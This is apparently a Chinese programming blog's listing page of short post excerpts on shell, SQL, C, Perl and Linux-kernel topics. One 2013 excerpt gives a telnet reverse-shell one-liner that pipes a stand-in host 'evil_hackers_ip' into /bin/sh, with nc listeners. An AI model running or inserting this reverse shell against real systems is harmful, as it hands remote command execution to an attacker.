摘要: 比如有如下文件test.txt1 134.102.173.432 134.102.173.433 134.102.171.424 134.102.170.9要统计出现次数最多的IP可以利用以下shell脚本:cat test.txt | awk '{print $2}' | sort | uniq ... 阅读全文
posted @ 2014-09-02 13:17 Richard Zhong 阅读(6277) 评论(0) 推荐(0) 编辑
摘要: 首先使用nc工具进行监听:nc -l -n -v -p 80nv -l -n -v -p 25然后:/bin/telnet evil_hackers_ip 80 | /bin/sh | /bin/sh | /bin/telnet evil_hackers_ip 25 阅读全文
posted @ 2013-10-21 20:01 Richard Zhong 阅读(471) 评论(0) 推荐(0) 编辑
摘要: DELETE FROM PersonnelWHERE ROWID < (SELECT MAX(P1.ROWID) FROM Personnel AS P1 WHERE P1.dup_id = Personnel.dup_id AND P1.name = Personel1.name AND ... ); 阅读全文
posted @ 2013-10-20 18:12 Richard Zhong 阅读(142) 评论(0) 推荐(0) 编辑
摘要: During the development of the framework, the one recurring question that theMetasploit staff was continually asked was why Ruby was selected asthe programming language. To avoid having to answer this question onan individualbasis, the authors have opted for explaining their reasons in this document. 阅读全文
posted @ 2013-10-06 15:37 Richard Zhong 阅读(334) 评论(0) 推荐(0) 编辑
摘要: 先来看这样一个结构体:struct sss{ int strlen; char strbuf[1];}可以这样分配内存给这个结构体:char * name = "hello world!";struct sss *s_t = (struct sss*) malloc(sizeof(struct sss) - 1 + strlen(sss)+1);然后这样赋值:s_t->strlen = strlen(name);strcpy(s_t->strbuf, name);这样做的好处是结构体内存和字符串内存在同一块。可以直接一次释放:free(s_t); 阅读全文
posted @ 2013-05-28 22:13 Richard Zhong 阅读(153) 评论(0) 推荐(0) 编辑
摘要: 对如下ip进行排序:134.102.9.87134.102.5.43134.102.1.2134.102.6.7可以使用如下perl代码实现: 1 use strict; 2 use warnings; 3 use 5.14.2; 4 5 open (my $fh, "<ips.txt") or die "$!"; 6 my @ips; 7 my $i; 8 while(<$fh>){ 9 $_ =~ s/^\s+|\s+$//g;10 $_ =~ s/\n\r|\n|\r//g;11 $ips[$i++] = $_;12 }13 14 阅读全文
posted @ 2013-05-12 11:08 Richard Zhong 阅读(177) 评论(0) 推荐(0) 编辑
摘要: Linux内核中的container_of#define container_of(ptr, type, member) ({ \ const typeof( ((type *)0)->member ) *__mptr = (ptr); \ (type *)( (char *)__mptr - offsetof(type,member) );})其中typeof(x)是gcc对c的一种扩展,指的是x的类型。首先:(type*)0假设将0地址强制转换成传入的type类型,对type类型取其member成员,通过typeof运算符,临时生成类型为typeof(x)__mptr的指针,且赋值为 阅读全文
posted @ 2013-04-30 09:30 Richard Zhong 阅读(266) 评论(0) 推荐(0) 编辑
摘要: 阅读全文
posted @ 2012-12-08 16:53 Richard Zhong 阅读(128) 评论(0) 推荐(0) 编辑
摘要: grep -i "search_string" /search/dir -r --include=*.txt 阅读全文
posted @ 2012-10-10 21:11 Richard Zhong 阅读(128) 评论(0) 推荐(0) 编辑
摘要: 阅读全文
posted @ 2012-10-04 11:04 Richard Zhong 阅读(167) 评论(0) 推荐(0) 编辑